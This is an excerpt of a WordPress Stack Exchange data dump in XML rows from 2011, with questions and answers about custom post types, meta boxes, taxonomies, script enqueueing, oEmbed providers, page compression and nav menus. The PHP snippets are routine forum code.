  <row Id="15435" PostTypeId="2" ParentId="15332" CreationDate="2011-04-23T05:37:50.933" Score="1" ViewCount="" Body="&lt;p&gt;^Listen to Otto Sisir! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I usually do for enqueueing custom js on the admin side, ONLY for my plugin's settings page... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`add_action('admin_print_scripts-settings_page_&amp;lt;your-settings-page-slug&amp;gt;', 'add_my_scripts');&#xA;function add_my_scripts()&#xA;{&#xA;   //We can include as many Javascript files as we want here.&#xA;   wp_enqueue_script('pluginscript', plugins_url('/js/script.js', __FILE__), array('jquery'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, all you can do is use 'wp_head' hook and call wp_enqueue_script('jquery') in the function, to use jquery on the frontend (theme) (same way you can include any Javascript library that is inside WP's js folder). I don't understand why and what you're doing by this...  &lt;code&gt;wp_register_script( 'jquery', '/'. WPINC .'/js/jquery/jquery.js');&lt;/code&gt; !&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-04-23T05:37:50.933" CommentCount="1" />
  <row Id="15436" PostTypeId="2" ParentId="9968" CreationDate="2011-04-23T05:42:28.383" Score="1" ViewCount="" Body="&lt;h2&gt;Register a video post type and a &lt;del&gt;&quot;Featured Taxonomy&quot;&lt;/del&gt; &quot;Featured Custom Meta Select Box&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;The Post type:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c3m_reg_vid_post() {&#xA;&#xA;              $labels = array(&#xA;                'name' =&amp;gt; _x('Videos', 'post type general name'),&#xA;                'singular_name' =&amp;gt; _x('Video', 'post type singular name'),&#xA;                'add_new' =&amp;gt; _x('Add New', 'video'),&#xA;                'add_new_item' =&amp;gt; __('Add New Video'),&#xA;                'edit_item' =&amp;gt; __('Edit Video'),&#xA;                'new_item' =&amp;gt; __('New Video'),&#xA;                'view_item' =&amp;gt; __('View Video'),&#xA;                'search_items' =&amp;gt; __('Search Videos'),&#xA;                'not_found' =&amp;gt;  __('No videos found'),&#xA;                'not_found_in_trash' =&amp;gt; __('No videos found in Trash'), &#xA;                'parent_item_colon' =&amp;gt; ''&#xA;              );&#xA;              $args = array(&#xA;                'labels' =&amp;gt; $labels,&#xA;                'public' =&amp;gt; true,&#xA;                'publicly_queryable' =&amp;gt; true,&#xA;                'show_ui' =&amp;gt; true, &#xA;                'query_var' =&amp;gt; true,&#xA;                'show_in_nav_menus' =&amp;gt; true,&#xA;                'can_export' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; array('slug' =&amp;gt; 'video', 'with_front' =&amp;gt; false),&#xA;                'capability_type' =&amp;gt; 'post',&#xA;                'register_meta_box_cb' =&amp;gt; 'c3m_video_meta', //This is for our custom meta box&#xA;                'hierarchical' =&amp;gt; false,&#xA;                'menu_position' =&amp;gt; 10,&#xA;               'taxonomies' =&amp;gt; array('featured'),&#xA;                'supports' =&amp;gt; array('title', 'editor' 'custom-fields')&#xA;              ); &#xA;              register_post_type('video', $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;###The Taxonomy&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On second thought lets use a custom field for the featured video post and create a drop down select custom meta box to choose if the post is featured.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Set up the custom meta box:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//hook to add a meta box&#xA;add_action( 'add_meta_boxes', 'c3m_video_meta' );&#xA;&#xA;function c3m_video_meta() {&#xA;    //create a custom meta box&#xA;    add_meta_box( 'c3m-meta', 'Featured Video Selector', 'c3m_mbe_function', 'video', 'normal', 'high' );&#xA;}&#xA;&#xA;function c3m_mbe_function( $post ) {&#xA;&#xA;    //retrieve the meta data values if they exist&#xA;    $c3m_mbe_featured = get_post_meta( $post-&amp;gt;ID, '_c3m_mbe_featured', true );&#xA;&#xA;    echo 'Select yes below to make video featured';&#xA;    ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;Featured: &#xA;    &amp;lt;select name=&quot;c3m_mbe_featured&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;No&quot; &amp;lt;?php selected( $c3m_mbe_featured, 'no' ); ?&amp;gt;&amp;gt;No Way&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;Yes&quot; &amp;lt;?php selected( $c3m_mbe_featured, 'yes' ); ?&amp;gt;&amp;gt;Sure Feature This Video&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;//hook to save the meta box data&#xA;add_action( 'save_post', 'c3m_mbe_save_meta' );&#xA;function c3m_mbe_save_meta( $post_ID ) {&#xA;    global $post;&#xA;    if( $post-&amp;gt;post_type == &quot;video&quot; ) {&#xA;    if ( isset( $_POST ) ) {&#xA;        update_post_meta( $post_ID, '_c3m_mbe_featured', strip_tags( $_POST['c3m_mbe_featured'] ) );&#xA;    }&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is our cool little featured video post selector we just created:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/YhlLs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now lets query the video posts that are featured:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'video',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'c3m_mbe_featured',&#xA;            'value' =&amp;gt; 'yes',&#xA;            'compare' =&amp;gt; 'NOT LIKE'&#xA;        )&#xA;    )&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-23T05:42:28.383" />
  <row Id="15437" PostTypeId="2" ParentId="15433" CreationDate="2011-04-23T06:14:42.037" Score="1" ViewCount="" Body="&lt;p&gt;You could create a taxonomy called Job Types and your terms would be PHP Jobs etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your register post type function change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'taxonomies' =&amp;gt; array( 'post_tag', &quot;category&quot;),&lt;/code&gt;&#xA;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'taxonomies' =&amp;gt; array('job_types'),&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init' , 'c3m_job_taxonomis' );&#xA;function c3m_job_taxonomies()&#xA;  {&#xA;     $labels = array(&#xA;    'name' =&amp;gt; _x( 'Job Types', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Job Type', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Job Types' ),&#xA;    'all_items' =&amp;gt; __( 'All Job Types' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent Job Types' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent Job Type:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Job Type' ), &#xA;    'update_item' =&amp;gt; __( 'Update Job Type' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Job Type' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Job Type' ),&#xA;  );    &#xA;&#xA;  register_taxonomy('job_type',array('jobs'), array(&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'show_in_nav_menus' =&amp;gt; true,&#xA;     'rewrite' =&amp;gt; array('slug' =&amp;gt; 'job-types', 'with_front' =&amp;gt; false),&#xA;  ));   &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-23T06:14:42.037" />
  <row Id="15438" PostTypeId="2" ParentId="15364" CreationDate="2011-04-23T06:50:58.357" Score="1" ViewCount="" Body="&lt;p&gt;You can remove the filter by adding this to your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('nav_menu_description', 'strip_tags');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-23T06:50:58.357" />
  <row Id="15439" PostTypeId="2" ParentId="14123" CreationDate="2011-04-23T06:57:53.083" Score="0" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://www.billerickson.net/twentyten-crm/&quot; rel=&quot;nofollow&quot;&gt;Bill Erickson's Twentyten CRM Theme&lt;/a&gt;.  It's a great theme for using WordPress as a CRM.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-23T06:57:53.083" />
  <row Id="15440" PostTypeId="1" CreationDate="2011-04-23T07:05:24.370" Score="0" ViewCount="69" Body="&lt;p&gt;I am creating a wordpress site which will have different sections , which will essentially be pages which can be accessed through a top level menu. Now when I make a post, I dont necessarily want all the posts to appear on the front page but instead while making the post want to choose which page it should be shown in. I cannot find a way to do this in wordpress 3.x. Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4843" LastActivityDate="2011-08-22T06:33:20.140" Title="Making a new post visible on a specific page" Tags="&lt;posts&gt;&lt;custom-menus&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="15441" PostTypeId="2" ParentId="15434" CreationDate="2011-04-23T07:42:31.897" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Holidaymaine:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the query you are looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;include( '../wp-load.php' );&#xA;&#xA;$sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT DISTINCT&#xA;  u.user_email AS user_email,&#xA;  um.meta_value AS user_lastname&#xA;FROM&#xA;  {$wpdb-&amp;gt;users} AS u&#xA;  LEFT JOIN {$wpdb-&amp;gt;usermeta} AS um ON u.ID = um.user_id&#xA;  LEFT JOIN {$wpdb-&amp;gt;posts} AS p ON u.ID = p.post_author&#xA;  LEFT JOIN {$wpdb-&amp;gt;term_relationships} AS tr ON p.ID = tr.object_id&#xA;  LEFT JOIN {$wpdb-&amp;gt;term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id&#xA;  LEFT JOIN {$wpdb-&amp;gt;terms} AS t ON tt.term_id = t.term_id&#xA;WHERE 1=1&#xA;  AND u.user_status = '0'&#xA;  AND um.meta_key = 'last_name'&#xA;  AND um.meta_value = '%s'&#xA;  AND t.slug = '%s'&#xA;SQL;&#xA;  $sql = $wpdb-&amp;gt;prepare( $sql, 'Smith', 'baseball' );&#xA;  $usersemails = $wpdb-&amp;gt;get_results( $sql );&#xA;  header( 'Content-type:text/plain' );&#xA;  print_r( $usersemails );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-23T07:42:31.897" CommentCount="3" />
  <row Id="15442" PostTypeId="1" AcceptedAnswerId="15443" CreationDate="2011-04-23T07:50:26.953" Score="1" ViewCount="111" Body="&lt;p&gt;I'd like to show the post type of a post, you can do that with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_type&quot; rel=&quot;nofollow&quot;&gt;get_post_type()&lt;/a&gt;, but in my case the names are not pretty (for ex : p_project_plans). So instead I thought I'd show the asociated &quot;menu_name&quot; (as declared with register_post_type), which looks much nicer (for ex : Project plans).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-23T08:02:39.923" Title="How to get custom post type menu_name?" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="15443" PostTypeId="2" ParentId="15442" CreationDate="2011-04-23T08:02:39.923" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@mike23:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code shows you how to get both singular and plural names &lt;em&gt;(assuming you specified them as such in your &lt;code&gt;register_post_type()&lt;/code&gt;)&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the code example is presented as a standalone file you can save as &lt;code&gt;test.php&lt;/code&gt; file in the root of your website and load in your browser with &lt;code&gt;http://yoursite.com/test.php&lt;/code&gt; &lt;em&gt;(assuming you replace &lt;code&gt;yoursite.com&lt;/code&gt; with your site's domain!):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Filename: test.php&#xA;*/&#xA;include( '../wp-load.php' );&#xA;header( 'Content-type:text/plain' );&#xA;&#xA;$post_type_object = get_post_type_object('p_project_plans');&#xA;&#xA;echo &quot;Singular: {$post_type_object-&amp;gt;labels-&amp;gt;singular_name}\n&quot;;&#xA;echo &quot;Plural: {$post_type_object-&amp;gt;labels-&amp;gt;name}\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-23T08:02:39.923" CommentCount="2" />
  <row Id="15444" PostTypeId="1" AcceptedAnswerId="15568" CreationDate="2011-04-23T10:05:10.987" Score="1" ViewCount="105" Body="&lt;p&gt;I want to remove the admin bar from the top of the page and actually place it into a custom location within my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How would I call wp_admin_bar() inside a custom div. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would also need to remove the built in css, so that I can apply my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I already have a filter to do this part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theme is being built to be ipad/iphone friendly. I want the admin bar to be 'fixed' to the top of the screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that mobile safari does not accept position:fixed, which requires a js workaround, which I have already solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theme already has a fixed header which is ipad ready. If I can call the wp_admin_bar() and place that within this 'special' div, then the problem is solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*thanks to other people helping me on this forum, I have managed to place the built in wp_menu() into the admin bar, which is really cool. With that functionality added to the admin bar, I now have a really awesome nav bar by combining its built in functionality with custom menus.&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-04-25T18:26:16.700" Title="Is there an easy way to move the wp_admin_bar to my own location?" Tags="&lt;admin-bar&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="15445" PostTypeId="1" AcceptedAnswerId="15447" CreationDate="2011-04-23T13:28:25.363" Score="1" ViewCount="77" Body="&lt;p&gt;I want to be able to take a url and see if the domain is one of the ones Wordpress supports to add embeds via oEmbed.  Is there a built in function that does this in WordPress or would I need to create my own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: if I have a url from a video site I want to be able to examine the url and be able to tell if the domain is supported by WordPress for use to embed as a video.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-04-23T14:41:47.113" Title="Is there a built in function to see if a URLis oEmbed Compatible?" Tags="&lt;php&gt;&lt;videos&gt;&lt;oembed&gt;" AnswerCount="1" />
  <row Id="15446" PostTypeId="1" AcceptedAnswerId="15450" CreationDate="2011-04-23T14:23:45.280" Score="1" ViewCount="99" Body="&lt;p&gt;I enabled the compression option on WP Super Cache (off by default!) on &lt;a href=&quot;http://ripper234.com/&quot; rel=&quot;nofollow&quot;&gt;my blog&lt;/a&gt;. After that, &lt;a href=&quot;http://analyze.websiteoptimization.com/&quot; rel=&quot;nofollow&quot;&gt;Website Optimization&lt;/a&gt; started identifying my pages as being compressed (before, it didn't).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All seemed well with the world, but then I double checked with &lt;a href=&quot;http://code.google.com/speed/page-speed/&quot; rel=&quot;nofollow&quot;&gt;Page Speed Firefox plugin&lt;/a&gt;, and and sniffed the traffic with Wireshark, and according to both these measures my page is not compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are my pages being compressed or not? Could it be some proxy my ISP is running, that does not support compression? (that would explain some of the horrible internet experience I'm getting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/938643&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; are the HTTP headers I'm seeing with wireshark.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-04-23T15:29:59.647" Title="Does WP Super Cache really compress my pages?" Tags="&lt;optimization&gt;" AnswerCount="1" />
  <row Id="15447" PostTypeId="2" ParentId="15445" CreationDate="2011-04-23T14:41:47.113" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp-includes/class-oembed.php&lt;/code&gt; has a public variable &lt;code&gt;$providers&lt;/code&gt;. So you can build a small function to get all of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function list_oembed_providers( $print = TRUE )&#xA;{&#xA;    require_once( ABSPATH . WPINC . '/class-oembed.php' );&#xA;    $oembed = _wp_oembed_get_object();&#xA;&#xA;    $print and print '&amp;lt;pre&amp;gt;' . htmlspecialchars( var_export( $oembed-&amp;gt;providers, TRUE ) ) . '&amp;lt;/pre&amp;gt;';&#xA;    return $oembed-&amp;gt;providers;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you call this function …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;list_oembed_providers();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… you get in WordPress 3.1.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  '#http://(www\\.)?youtube.com/watch.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.youtube.com/oembed',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  'http://youtu.be/*' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.youtube.com/oembed',&#xA;    1 =&amp;gt; false,&#xA;  ),&#xA;  'http://blip.tv/file/*' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://blip.tv/oembed/',&#xA;    1 =&amp;gt; false,&#xA;  ),&#xA;  '#http://(www\\.)?vimeo\\.com/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.vimeo.com/api/oembed.{format}',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  '#http://(www\\.)?dailymotion\\.com/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.dailymotion.com/api/oembed',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  '#http://(www\\.)?flickr\\.com/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.flickr.com/services/oembed/',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  '#http://(.+)?smugmug\\.com/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://api.smugmug.com/services/oembed/',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  '#http://(www\\.)?hulu\\.com/watch/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.hulu.com/api/oembed.{format}',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  '#http://(www\\.)?viddler\\.com/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://lab.viddler.com/services/oembed/',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  'http://qik.com/*' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://qik.com/api/oembed.{format}',&#xA;    1 =&amp;gt; false,&#xA;  ),&#xA;  'http://revision3.com/*' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://revision3.com/api/oembed/',&#xA;    1 =&amp;gt; false,&#xA;  ),&#xA;  'http://i*.photobucket.com/albums/*' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://photobucket.com/oembed',&#xA;    1 =&amp;gt; false,&#xA;  ),&#xA;  'http://gi*.photobucket.com/groups/*' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://photobucket.com/oembed',&#xA;    1 =&amp;gt; false,&#xA;  ),&#xA;  '#http://(www\\.)?scribd\\.com/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.scribd.com/services/oembed',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  'http://wordpress.tv/*' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://wordpress.tv/oembed/',&#xA;    1 =&amp;gt; false,&#xA;  ),&#xA;  '#http://(answers|surveys)\\.polldaddy.com/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://polldaddy.com/oembed/',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;  '#http://(www\\.)?funnyordie\\.com/videos/.*#i' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; 'http://www.funnyordie.com/oembed',&#xA;    1 =&amp;gt; true,&#xA;  ),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-23T14:41:47.113" CommentCount="3" />
  <row Id="15448" PostTypeId="1" CreationDate="2011-04-23T14:56:26.090" Score="2" ViewCount="108" Body="&lt;p&gt;There are so many, and I've literally tried at least 10. None are quite right. I don't want one with all this &quot;ajax&quot; stuff. I just want something that validates the input server side, can handle multiple forms, and allows the fields to be customized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the plugins that I've tried thus far require way too much hacking and styling to get them to look alright. They try to be &quot;cool&quot; by saying &quot;oh look this plugin has ajax&quot;. I honestly wouldn't mind ajax in the plugin if it is progressively enhanced and not too styled already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*preferably free of course&lt;/p&gt;&#xA;" OwnerUserId="4846" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T01:47:13.723" LastActivityDate="2011-04-25T01:47:13.723" Title="Any high quality form plugins?" Tags="&lt;plugin-recommendation&gt;&lt;forms&gt;" AnswerCount="2" />
  <row Id="15449" PostTypeId="2" ParentId="15448" CreationDate="2011-04-23T15:17:19.483" Score="3" ViewCount="" Body="&lt;p&gt;Gravity Forms. Gravity Forms. Gravity Forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gravityforms.com/purchase-gravity-forms/&quot; rel=&quot;nofollow&quot;&gt;http://www.gravityforms.com/purchase-gravity-forms/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy it, 40 bucks, it's worth it over and over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Theres also a free demo)&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-23T15:17:19.483" />
  <row Id="15450" PostTypeId="2" ParentId="15446" CreationDate="2011-04-23T15:29:59.647" Score="1" ViewCount="" Body="&lt;p&gt;I'm getting a &lt;code&gt;Content-Encoding:gzip&lt;/code&gt; header when I visit your site...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cache-Control:max-age=300, must-revalidate&#xA;Connection:Keep-Alive&#xA;Content-Encoding:gzip&#xA;Content-Type:text/html; charset=UTF-8&#xA;Date:Sat, 23 Apr 2011 15:27:48 GMT&#xA;Keep-Alive:timeout=15, max=100&#xA;Server:Apache&#xA;Transfer-Encoding:Identity&#xA;Vary:Accept-Encoding,Cookie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you have a jQuery reference error in the wp-minify plugin :)&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-23T15:29:59.647" CommentCount="1" />
  <row Id="15451" PostTypeId="2" ParentId="15440" CreationDate="2011-04-23T15:32:02.237" Score="0" ViewCount="" Body="&lt;p&gt;How many of those pages you have? There are lots of way you can do this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Normally you can do it via making specific category for each pages.&lt;/li&gt;&#xA;&lt;li&gt;If you don't want to make extra category for this reason you can make tags for it.&lt;/li&gt;&#xA;&lt;li&gt;If you want to make some post that will show in homepage. You can use the &lt;code&gt;post_thumbnail()&lt;/code&gt; feature and make query in homepage for posts which have post thumbnails only.&lt;/li&gt;&#xA;&lt;li&gt;Or you can use custom post types is special cases.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-04-23T15:32:02.237" CommunityOwnedDate="2011-04-23T15:32:02.237" CommentCount="2" />
  <row Id="15452" PostTypeId="1" AcceptedAnswerId="15454" CreationDate="2011-04-23T15:54:35.173" Score="0" ViewCount="79" Body="&lt;p&gt;How to clear floats in WYSIWYG editor? Not everyone know how to add &lt;code&gt;&amp;lt;div style=&quot;clear:both&amp;gt;&quot;&lt;/code&gt; in HTML mode. Is there any way to add extra button to WYSIWYG or plugin. TineMCE doesn't have that option.&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-05-23T20:52:58.677" Title="WYSIWYG clear:both" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="15453" PostTypeId="2" ParentId="15423" CreationDate="2011-04-23T16:07:35.290" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Instead of using the wp_nonce_field the data can be sanitized using esc_attr and strip_tags&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't follow the logic of escaping data in place of using a nonce? the example given on wordpress.org uses a nonce to verify intention, and also escapes the data before inserting it. how are those two things related?&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-23T16:07:35.290" CommentCount="1" />
  <row Id="15454" PostTypeId="2" ParentId="15452" CreationDate="2011-04-23T16:22:06.537" Score="0" ViewCount="" Body="&lt;p&gt;Write a simple shortcode to add a &lt;code&gt;&amp;lt;div style=&quot;clear: both;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detailed Explanation: &lt;a href=&quot;http://brettterpstra.com/adding-a-tinymce-button/&quot; rel=&quot;nofollow&quot;&gt;http://brettterpstra.com/adding-a-tinymce-button/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-23T16:22:06.537" CommentCount="3" />
  <row Id="15455" PostTypeId="1" AcceptedAnswerId="15488" CreationDate="2011-04-23T16:24:11.780" Score="3" ViewCount="521" Body="&lt;p&gt;is there any way that i can hard code the custom menu items when first theme installed? I am creating a theme which will automatically make some common pages when installed. So i need to know if i can also add them to wordpress custom menu so client don't need to add them manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if anything unclear. Guide to the appropriate codex page is welcome. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update:&lt;/strong&gt; tried code from here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11914/targeting-specific-menu-with-wp-nav-menu-items&quot;&gt;Targeting specific menu with wp_nav_menu_items&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Menu registration:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_my_menus() {&#xA;  register_nav_menus(&#xA;    array('main-menu' =&amp;gt; __( 'Main Menu' ) )&#xA;  );&#xA;}&#xA;&#xA;add_action( 'init', 'register_my_menus' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template use:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'theme_location' =&amp;gt; 'main-menu' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code for adding new items:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_nav_menu_items($items) {&#xA;    if( $args-&amp;gt;theme_location == 'main-menu' ){&#xA;    $homelink = '&amp;lt;li class=&quot;home&quot;&amp;gt;&amp;lt;a href=&quot;' . home_url( '/' ) . '&quot;&amp;gt;' . __('Home') . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    $items = $homelink . $items;&#xA;    return $items;&#xA;    }&#xA;}&#xA;add_filter( 'wp_nav_menu_items', 'new_nav_menu_items', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when adding the code for adding new items in nav menu in &lt;code&gt;functions.php&lt;/code&gt; file nothings happens in menu page in admin panel but the current menu items are gone in site!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" 